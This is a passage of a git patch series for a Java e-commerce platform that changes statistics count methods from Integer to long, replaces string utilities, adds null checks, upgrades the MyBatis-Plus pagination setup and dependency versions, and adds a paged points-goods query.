a/framework/src/main/java/cn/lili/modules/statistics/service/MemberEvaluationStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/MemberEvaluationStatisticsService.java @@ -16,13 +16,13 @@ public interface MemberEvaluationStatisticsService extends IService * * @return 会员统计 */ - Integer getMemberCount(); + long getMemberCount(); /** * 获取今日新增会员数量 * * @return 今日新增会员数量 */ - Integer todayMemberNum(); + long todayMemberNum(); /** * 获取指定结束时间前的会员数量 @@ -36,7 +36,7 @@ public interface MemberStatisticsService extends IService * @param endTime * @return */ - Integer memberCount(Date endTime); + long memberCount(Date endTime); /** * 当天活跃会员数量 @@ -44,7 +44,7 @@ public interface MemberStatisticsService extends IService * @param startTime * @return */ - Integer activeQuantity(Date startTime); + long activeQuantity(Date startTime); /** * 时间段内新增会员数量 @@ -53,7 +53,7 @@ public interface MemberStatisticsService extends IService * @param startTime * @return */ - Integer newlyAdded(Date endTime, Date startTime); + long newlyAdded(Date endTime, Date startTime); /** * 根据参数,查询这段时间的会员统计 diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/OrderComplaintStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/OrderComplaintStatisticsService.java index 16a896fe..95834e38 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/OrderComplaintStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/OrderComplaintStatisticsService.java @@ -16,5 +16,5 @@ public interface OrderComplaintStatisticsService extends IService { * @param orderStatus 订单状态 * @return 订单总数量 */ - Integer orderNum(String orderStatus); + long orderNum(String orderStatus); /** * 图表统计 diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/SeckillStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/SeckillStatisticsService.java index fe5d0b81..fdef0654 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/SeckillStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/SeckillStatisticsService.java @@ -17,6 +17,6 @@ public interface SeckillStatisticsService extends IService { * * @return 可参与活动数量 */ - Integer getApplyNum(); + long getApplyNum(); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/StoreStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/StoreStatisticsService.java index a8e3a0dd..1a90c9f6 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/StoreStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/StoreStatisticsService.java @@ -16,19 +16,19 @@ public interface StoreStatisticsService extends IService { * * @return 待审核店铺数量 */ - Integer auditNum(); + long auditNum(); /** * 获取所有店铺数量 * * @return 店铺总数 */ - Integer storeNum(); + long storeNum(); /** * 获取今天的店铺数量 * * @return 今天的店铺数量 */ - Integer todayStoreNum(); + long todayStoreNum(); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/AfterSaleStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/AfterSaleStatisticsServiceImpl.java index eabd80ee..21456526 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/AfterSaleStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/AfterSaleStatisticsServiceImpl.java @@ -32,7 +32,7 @@ public class AfterSaleStatisticsServiceImpl extends ServiceImpl queryWrapper = Wrappers.lambdaQuery(); queryWrapper.eq(AfterSale::getServiceStatus, AfterSaleStatusEnum.APPLY.name()); diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java index e9350d29..622ff256 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java @@ -1,8 +1,8 @@ package cn.lili.modules.statistics.serviceimpl; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.common.utils.StringUtils; import cn.lili.modules.statistics.mapper.BillStatisticsMapper; import cn.lili.modules.statistics.service.BillStatisticsService; import cn.lili.modules.store.entity.dos.Bill; @@ -13,6 +13,8 @@ import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; +import java.util.Objects; + /** * 结算单统计 * @@ -25,10 +27,10 @@ public class BillStatisticsServiceImpl extends ServiceImpl lambdaUpdateWrapper = Wrappers.lambdaUpdate(); lambdaUpdateWrapper.eq(Bill::getBillStatus, billStatusEnum.name()); - lambdaUpdateWrapper.eq(StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name()), + lambdaUpdateWrapper.eq(CharSequenceUtil.equals(Objects.requireNonNull(UserContext.getCurrentUser()).getRole().name(), UserEnums.STORE.name()), Bill::getStoreId, UserContext.getCurrentUser().getStoreId()); return this.count(lambdaUpdateWrapper); } diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java index 41cb6d9b..79ab876c 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java @@ -24,7 +24,7 @@ public class DistributionCashStatisticsServiceImpl extends ServiceImpl implements GoodsStatisticsService { @Override - public Integer goodsNum(GoodsStatusEnum goodsStatusEnum, GoodsAuthEnum goodsAuthEnum) { + public long goodsNum(GoodsStatusEnum goodsStatusEnum, GoodsAuthEnum goodsAuthEnum) { LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); queryWrapper.eq(Goods::getDeleteFlag, false); @@ -47,7 +47,7 @@ public class GoodsStatisticsServiceImpl extends ServiceImpl queryWrapper = Wrappers.lambdaQuery(); queryWrapper.eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name()); queryWrapper.ge(Goods::getCreateTime, DateUtil.beginOfDay(new DateTime())); diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java index 255fca6e..62caf740 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java @@ -2,9 +2,9 @@ package cn.lili.modules.statistics.serviceimpl; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.common.utils.StringUtils; import cn.lili.modules.member.entity.dos.MemberEvaluation; import cn.lili.modules.statistics.mapper.MemberEvaluationStatisticsMapper; import cn.lili.modules.statistics.service.MemberEvaluationStatisticsService; @@ -15,6 +15,8 @@ import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; +import java.util.Objects; + /** * 会员商品评价业务层实现 * @@ -27,14 +29,14 @@ public class MemberEvaluationStatisticsServiceImpl extends ServiceImpl().ge(MemberEvaluation::getCreateTime, DateUtil.beginOfDay(new DateTime()))); } @Override - public Integer getWaitReplyNum() { + public long getWaitReplyNum() { QueryWrapper queryWrapper = Wrappers.query(); - queryWrapper.eq(StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name()), + queryWrapper.eq(CharSequenceUtil.equals(Objects.requireNonNull(UserContext.getCurrentUser()).getRole().name(), UserEnums.STORE.name()), "store_id", UserContext.getCurrentUser().getStoreId()); queryWrapper.eq("reply_status", false); return this.count(queryWrapper); diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsServiceImpl.java index 716828c2..cf39dde3 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsServiceImpl.java @@ -27,28 +27,28 @@ import java.util.List; public class MemberStatisticsServiceImpl extends ServiceImpl implements MemberStatisticsService { @Override - public Integer getMemberCount() { + public long getMemberCount() { QueryWrapper queryWrapper = new QueryWrapper(); queryWrapper.eq("disabled", true); return this.baseMapper.customSqlQuery(queryWrapper); } @Override - public Integer todayMemberNum() { + public long todayMemberNum() { QueryWrapper queryWrapper = Wrappers.query(); queryWrapper.ge("create_time", DateUtil.beginOfDay(new Date())); return this.baseMapper.customSqlQuery(queryWrapper); } @Override - public Integer memberCount(Date endTime) { + public long memberCount(Date endTime) { QueryWrapper queryWrapper = Wrappers.query(); queryWrapper.le("create_time", endTime); return this.baseMapper.customSqlQuery(queryWrapper); } @Override - public Integer activeQuantity(Date startTime) { + public long activeQuantity(Date startTime) { QueryWrapper queryWrapper = Wrappers.query(); queryWrapper.ge("last_login_date", startTime); @@ -56,7 +56,7 @@ public class MemberStatisticsServiceImpl extends ServiceImpl statistics(StatisticsQueryParam statisticsQueryParam) { Date[] dates = StatisticsDateUtil.getDateArray(statisticsQueryParam); - Date startTime = dates[0], endTime = dates[1]; + Date startTime = dates[0]; + Date endTime = dates[1]; //如果统计今天,则自行构造数据 - if(statisticsQueryParam.getSearchType().equals(SearchTypeEnum.TODAY.name())){ + if (statisticsQueryParam.getSearchType().equals(SearchTypeEnum.TODAY.name())) { //构建数据,然后返回集合,提供给前端展示 MemberStatisticsData memberStatisticsData = new MemberStatisticsData(); memberStatisticsData.setMemberCount(this.memberCount(endTime)); @@ -88,11 +89,9 @@ public class MemberStatisticsServiceImpl extends ServiceImpl distribution() { - List memberDistributionVOS = this.baseMapper.distribution(); - return memberDistributionVOS; + return this.baseMapper.distribution(); } } diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderComplaintStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderComplaintStatisticsServiceImpl.java index a6b24251..7830ac73 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderComplaintStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderComplaintStatisticsServiceImpl.java @@ -22,7 +22,7 @@ import org.springframework.stereotype.Service; public class OrderComplaintStatisticsServiceImpl extends ServiceImpl implements OrderComplaintStatisticsService { @Override - public Integer waitComplainNum() { + public long waitComplainNum() { QueryWrapper queryWrapper = Wrappers.query(); queryWrapper.ne("complain_status", ComplaintStatusEnum.COMPLETE.name()); queryWrapper.eq(StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name()), diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java index 00e8545c..b39266e9 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java @@ -1,5 +1,6 @@ package cn.lili.modules.statistics.serviceimpl; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; import cn.lili.common.utils.CurrencyUtil; @@ -26,10 +27,7 @@ import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; -import java.util.ArrayList; -import java.util.Calendar; -import java.util.Date; -import java.util.List; +import java.util.*; /** * 订单统计业务层实现 @@ -98,10 +96,10 @@ public class OrderStatisticsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper(); - queryWrapper.eq(StringUtils.isNotEmpty(orderStatus), Order::getOrderStatus, orderStatus); - queryWrapper.eq(StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name()), + public long orderNum(String orderStatus) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.eq(CharSequenceUtil.isNotEmpty(orderStatus), Order::getOrderStatus, orderStatus); + queryWrapper.eq(CharSequenceUtil.equals(Objects.requireNonNull(UserContext.getCurrentUser()).getRole().name(), UserEnums.STORE.name()), Order::getStoreId, UserContext.getCurrentUser().getStoreId()); return this.count(queryWrapper); } diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java index 44462abc..1982553f 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java @@ -23,7 +23,7 @@ public class SeckillStatisticsServiceImpl extends ServiceImpl queryWrapper = Wrappers.query(); //秒杀申请时间未超过当前时间 queryWrapper.ge("apply_end_time", cn.hutool.core.date.DateUtil.date()); diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/StoreStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/StoreStatisticsServiceImpl.java index 1fb8c7c9..cba2e6e6 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/StoreStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/StoreStatisticsServiceImpl.java @@ -22,21 +22,21 @@ public class StoreStatisticsServiceImpl extends ServiceImpl queryWrapper = Wrappers.lambdaQuery(); queryWrapper.eq(Store::getStoreDisable, StoreStatusEnum.APPLYING.name()); return this.count(queryWrapper); } @Override - public Integer storeNum() { + public long storeNum() { LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); queryWrapper.eq(Store::getStoreDisable, StoreStatusEnum.OPEN.name()); return this.count(queryWrapper); } @Override - public Integer todayStoreNum() { + public long todayStoreNum() { LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); queryWrapper.eq(Store::getStoreDisable, StoreStatusEnum.OPEN.name()); queryWrapper.ge(Store::getCreateTime, DateUtil.beginOfDay(new DateTime())); diff --git a/framework/src/main/java/cn/lili/modules/store/entity/dos/StoreDetail.java b/framework/src/main/java/cn/lili/modules/store/entity/dos/StoreDetail.java index c9e4c359..11a21162 100644 --- a/framework/src/main/java/cn/lili/modules/store/entity/dos/StoreDetail.java +++ b/framework/src/main/java/cn/lili/modules/store/entity/dos/StoreDetail.java @@ -8,7 +8,6 @@ import cn.lili.common.validation.Phone; import cn.lili.modules.store.entity.dto.AdminStoreApplyDTO; import cn.lili.mybatis.BaseIdEntity; import com.baomidou.mybatisplus.annotation.TableField; -import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModel; @@ -38,11 +37,6 @@ public class StoreDetail extends BaseIdEntity { private static final long serialVersionUID = 4949782642253898816L; - @TableId - @TableField - @ApiModelProperty(value = "唯一标识", hidden = true) - private String id; - @NotBlank(message = "店铺不能为空") @ApiModelProperty(value = "店铺id") private String storeId; diff --git a/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreSearchParams.java b/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreSearchParams.java index 617332b9..d8050ec9 100644 --- a/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreSearchParams.java @@ -2,6 +2,7 @@ package cn.lili.modules.store.entity.vos; import cn.hutool.core.date.DateUtil; import cn.lili.common.utils.StringUtils; +import cn.lili.common.vo.PageVO; import cn.lili.modules.store.entity.enums.StoreStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; @@ -16,7 +17,7 @@ import java.io.Serializable; * @since 2020-03-07 17:02:05 */ @Data -public class StoreSearchParams implements Serializable { +public class StoreSearchParams extends PageVO implements Serializable { private static final long serialVersionUID = 6916054310764833369L; diff --git a/framework/src/main/java/cn/lili/modules/store/service/StoreService.java b/framework/src/main/java/cn/lili/modules/store/service/StoreService.java index d25a618d..95632b0d 100644 --- a/framework/src/main/java/cn/lili/modules/store/service/StoreService.java +++ b/framework/src/main/java/cn/lili/modules/store/service/StoreService.java @@ -22,7 +22,6 @@ public interface StoreService extends IService { * 用于展示店铺列表 * * @param entity - * @param page * @return */ IPage findByConditionPage(StoreSearchParams entity, PageVO page); diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java index 85adaf58..0cc64d26 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java @@ -266,10 +266,11 @@ public class StoreServiceImpl extends ServiceImpl implements store.setStoreLogo(storeOtherInfoDTO.getStoreLogo()); return this.updateById(store); } + @Override public void updateStoreGoodsNum(String storeId) { //获取店铺已上架已审核通过商品数量 - Integer goodsNum = goodsService.countStoreGoodsNum(storeId); + long goodsNum = goodsService.countStoreGoodsNum(storeId); //修改店铺商品数量 this.update(new LambdaUpdateWrapper() .set(Store::getGoodsNum, goodsNum) @@ -287,10 +288,11 @@ public class StoreServiceImpl extends ServiceImpl implements * @return 店铺信息 */ private Store getStoreByMember() { - AuthUser authUser = Objects.requireNonNull(UserContext.getCurrentUser()); - LambdaQueryWrapper lambdaQueryWrapper = Wrappers.lambdaQuery(); - lambdaQueryWrapper.eq(Store::getMemberId, authUser.getId()); - return this.getOne(lambdaQueryWrapper); + LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper<>(); + if (UserContext.getCurrentUser() != null) { + lambdaQueryWrapper.eq(Store::getMemberId, UserContext.getCurrentUser().getId()); + } + return this.getOne(lambdaQueryWrapper, false); } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/mybatis/BaseEntity.java b/framework/src/main/java/cn/lili/mybatis/BaseEntity.java index 07cb838d..44dbf740 100644 --- a/framework/src/main/java/cn/lili/mybatis/BaseEntity.java +++ b/framework/src/main/java/cn/lili/mybatis/BaseEntity.java @@ -36,7 +36,6 @@ public abstract class BaseEntity implements Serializable { @TableId - @TableField @ApiModelProperty(value = "唯一标识", hidden = true) private String id; diff --git a/framework/src/main/java/cn/lili/mybatis/BaseIdEntity.java b/framework/src/main/java/cn/lili/mybatis/BaseIdEntity.java index cab38ce6..9b926c74 100644 --- a/framework/src/main/java/cn/lili/mybatis/BaseIdEntity.java +++ b/framework/src/main/java/cn/lili/mybatis/BaseIdEntity.java @@ -1,6 +1,5 @@ package cn.lili.mybatis; -import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.fasterxml.jackson.annotation.JsonIgnoreProperties; import io.swagger.annotations.ApiModelProperty; @@ -28,7 +27,6 @@ public abstract class BaseIdEntity implements Serializable { @TableId - @TableField @ApiModelProperty(value = "唯一标识", hidden = true) private String id; diff --git a/framework/src/main/java/cn/lili/mybatis/mybatisplus/MybatisPlusConfig.java b/framework/src/main/java/cn/lili/mybatis/mybatisplus/MybatisPlusConfig.java index de13d972..87bb2f2c 100644 --- a/framework/src/main/java/cn/lili/mybatis/mybatisplus/MybatisPlusConfig.java +++ b/framework/src/main/java/cn/lili/mybatis/mybatisplus/MybatisPlusConfig.java @@ -1,6 +1,8 @@ package cn.lili.mybatis.mybatisplus; -import com.baomidou.mybatisplus.extension.plugins.PaginationInterceptor; +import com.baomidou.mybatisplus.annotation.DbType; +import com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor; +import com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor; import org.mybatis.spring.annotation.MapperScan; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; @@ -15,9 +17,10 @@ public class MybatisPlusConfig { * 分页插件,自动识别数据库类型 */ @Bean - public PaginationInterceptor paginationInterceptor() { - - return new PaginationInterceptor(); + public MybatisPlusInterceptor mybatisPlusInterceptor() { + MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor(); + interceptor.addInnerInterceptor(new PaginationInnerInterceptor(DbType.MYSQL)); + return interceptor; //阻断解析器,测试环境使用 // PaginationInterceptor paginationInterceptor = new PaginationInterceptor(); diff --git a/manager-api/src/main/java/cn/lili/controller/goods/CategoryManagerController.java b/manager-api/src/main/java/cn/lili/controller/goods/CategoryManagerController.java index 86458e63..3561f45e 100644 --- a/manager-api/src/main/java/cn/lili/controller/goods/CategoryManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/goods/CategoryManagerController.java @@ -100,7 +100,7 @@ public class CategoryManagerController { } //查询某商品分类的商品数量 - Integer count = goodsService.getGoodsCountByCategory(id); + long count = goodsService.getGoodsCountByCategory(id); if (count > 0) { throw new ServiceException(ResultCode.CATEGORY_HAS_GOODS); } diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberManagerController.java b/manager-api/src/main/java/cn/lili/controller/member/MemberManagerController.java index d6b6cc8e..307306d4 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/member/MemberManagerController.java @@ -78,7 +78,7 @@ public class MemberManagerController { @ApiOperation(value = "根据条件查询会员总数") @GetMapping("/num") - public ResultMessage getByPage(MemberSearchVO memberSearchVO) { + public ResultMessage getByPage(MemberSearchVO memberSearchVO) { return ResultUtil.data(memberService.getMemberNum(memberSearchVO)); } diff --git a/pom.xml b/pom.xml index a81e6fcd..ba666989 100644 --- a/pom.xml +++ b/pom.xml @@ -23,12 +23,12 @@ 1 4.13.40.ALL 5.1.48 - 3.3.1.tmp - 5.5.8 + 3.4.3.4 + 5.7.16 2.0.3.RELEASE 3.0.0 2.9.10 - 1.18.20 + 1.18.22 4.5.18 3.11.1 2.0.1 From 7aed7254a06cc3a3c0bf03feae3634acf5725194 Mon Sep 17 00:00:00 2001 From: paulGao Date: Wed, 15 Dec 2021 17:31:39 +0800 Subject: [PATCH 071/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=9F=A5=E8=AF=A2?= =?UTF-8?q?=E7=A7=AF=E5=88=86=E5=95=86=E5=93=81=E5=8F=82=E6=95=B0=E9=97=AE?= =?UTF-8?q?=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../promotion/PointsGoodsBuyerController.java | 6 ++---- .../goods/serviceimpl/GoodsSkuServiceImpl.java | 2 +- .../promotion/service/PointsGoodsService.java | 11 +++++++++++ .../serviceimpl/PointsGoodsServiceImpl.java | 16 ++++++++++++++++ 4 files changed, 30 insertions(+), 5 deletions(-) diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java index e4cd94d1..14dcf070 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java @@ -3,7 +3,6 @@ package cn.lili.controller.promotion; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.promotion.entity.dos.PointsGoods; import cn.lili.modules.promotion.entity.dos.PointsGoodsCategory; import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; @@ -36,9 +35,8 @@ public class PointsGoodsBuyerController { @GetMapping @ApiOperation(value = "分页获取积分商品") - public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { - IPage pointsGoodsByPage = pointsGoodsService.pageFindAll(searchParams, page); - return ResultUtil.data(pointsGoodsByPage); + public ResultMessage> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) { + return ResultUtil.data(pointsGoodsService.pageFindAllVO(searchParams, page)); } @GetMapping("/category") diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index b20f45ae..5f1e2882 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -261,7 +261,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i promotionMap = promotionMap.entrySet().stream().parallel().filter(i -> { JSONObject jsonObject = JSONUtil.parseObj(i.getValue()); // 过滤活动赠送优惠券和无效时间的活动 - return (jsonObject.get("getType") == null || jsonObject.get("getType").toString().equals(CouponGetEnum.FREE.name())) && + return (jsonObject.get("getType") == null || jsonObject.get("getType", String.class).equals(CouponGetEnum.FREE.name())) && (jsonObject.get("startTime") != null && jsonObject.get("startTime", Date.class).getTime() <= System.currentTimeMillis()) && (jsonObject.get("endTime") == null || jsonObject.get("endTime", Date.class).getTime() >= System.currentTimeMillis()); }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue)); diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java index 948d98f8..15acc599 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java @@ -1,7 +1,10 @@ package cn.lili.modules.promotion.service; +import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.PointsGoods; +import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; +import com.baomidou.mybatisplus.core.metadata.IPage; import java.util.List; @@ -37,4 +40,12 @@ public interface PointsGoodsService extends AbstractPromotionsService pageFindAllVO(PointsGoodsSearchParams searchParams, PageVO pageVO); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java index d6f7dbc5..ed53f833 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PointsGoodsServiceImpl.java @@ -5,19 +5,23 @@ import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; +import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.PointsGoods; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.mapper.PointsGoodsMapper; import cn.lili.modules.promotion.service.PointsGoodsService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.modules.search.service.EsGoodsIndexService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.BeanUtils; import org.springframework.beans.factory.annotation.Autowired; @@ -161,6 +165,17 @@ public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl pageFindAllVO(PointsGoodsSearchParams searchParams, PageVO pageVO) { + return this.baseMapper.getPointsGoodsVO(PageUtil.initPage(pageVO), searchParams.queryWrapper()); + } /** * 检查促销参数 @@ -210,6 +225,7 @@ public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl Date: Wed, 15 Dec 2021 17:42:03 +0800 Subject: [PATCH 072/145] =?UTF-8?q?=E7=A7=BB=E9=99=A4mongo,=E5=B0=86?= =?UTF-8?q?=E7=B3=BB=E7=BB=9F=E6=97=A5=E5=BF=97=E5=AD=98=E5=82=A8=E5=9C=A8?= =?UTF-8?q?es=E3=80=82=E4=BF=AE=E5=A4=8D=E6=8B=BC=E5=9B=A2=E5=95=86?= =?UTF-8?q?=E5=93=81=E7=9A=84=E6=AD=A3=E5=B8=B8=E8=B4=AD=E4=B9=B0=E4=BB=B7?= =?UTF-8?q?=E6=A0=BC=E4=B8=BA=E6=8B=BC=E5=9B=A2=E4=BB=B7=E6=A0=BC=E9=97=AE?= =?UTF-8?q?=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/modules/promotion/mapper/PointsGoodsMapper.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/promotion/mapper/PointsGoodsMapper.java b/framework/src/main/java/cn/lili/modules/promotion/mapper/PointsGoodsMapper.java index d0139293..615a8672 100644 --- 